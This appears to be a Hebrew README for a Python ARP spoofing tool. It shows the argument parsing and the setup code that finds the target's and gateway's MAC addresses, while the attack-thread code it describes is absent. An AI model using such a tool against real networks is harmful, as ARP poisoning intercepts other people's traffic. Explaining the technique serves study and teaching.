Arp Spoofer

הסבר על הקוד:

בתחילת הmain יש ArgumentParser שמאפשר לקבל מידע על הארגומנטים הניתנים לשליחה ומאפשר לסקריפט לקבל ארגומנטים בצרה נוחה:

```
parser = argparse.ArgumentParser(description="Arpspoofer. by Daniel Yochanan and Avi Feder")
parser.add_argument("-i", "--IFACE", type=str, metavar='', help="Interface you wish to use")
parser.add_argument("-s", "--SRC", type=str, metavar='', help="The address you want for the attacker")
parser.add_argument("-d", "--DELAY", type=float, metavar='', help="Delay (in seconds) between messages")
parser.add_argument("-gw", "--GATEWAY", type=bool, metavar='', help="should GW be attacked as well?")
parser.add_argument("-t", "--TARGET", type=str, metavar='', required=True, help="IP of target")
args = parser.parse_args()
```

בשלב הראשון הקוד מאתר את הפרמטרים שנצרכים לתקיפה. כמו כתובת מק של הGATEWAY, כתובת מק של הניתקף ועוד:

```
target_ip = args.TARGET
interface = args.IFACE if (args.IFACE is not None) else conf.iface
hacker_mac = get_if_hwaddr(interface)

delay = args.DELAY if (args.DELAY is not None) else 0.1
target_mac = get_mac(target_ip, interface)
default_gateway_ip = conf.route.route("0.0.0.0")[2]
default_gateway_mac = get_mac(default_gateway_ip, interface)
src = args.SRC if (args.SRC is not None) else default_gateway_ip
```

את כתובת המק הקוד מקבל באמצעות פונקציה של ARP:

לאחר מכן הפונקציה שתוקפת מופעלת מתהליכון נפרד:

הפונקציה התוקפת מקבלת את פרטי הניתקף, דיליי לתקיפה (מרווח בין חבילות ARP) ואת פרטי התוקף:

ובשלב האחרון יש אופציה לתהליכון שתוקף גם את הGATEWAY: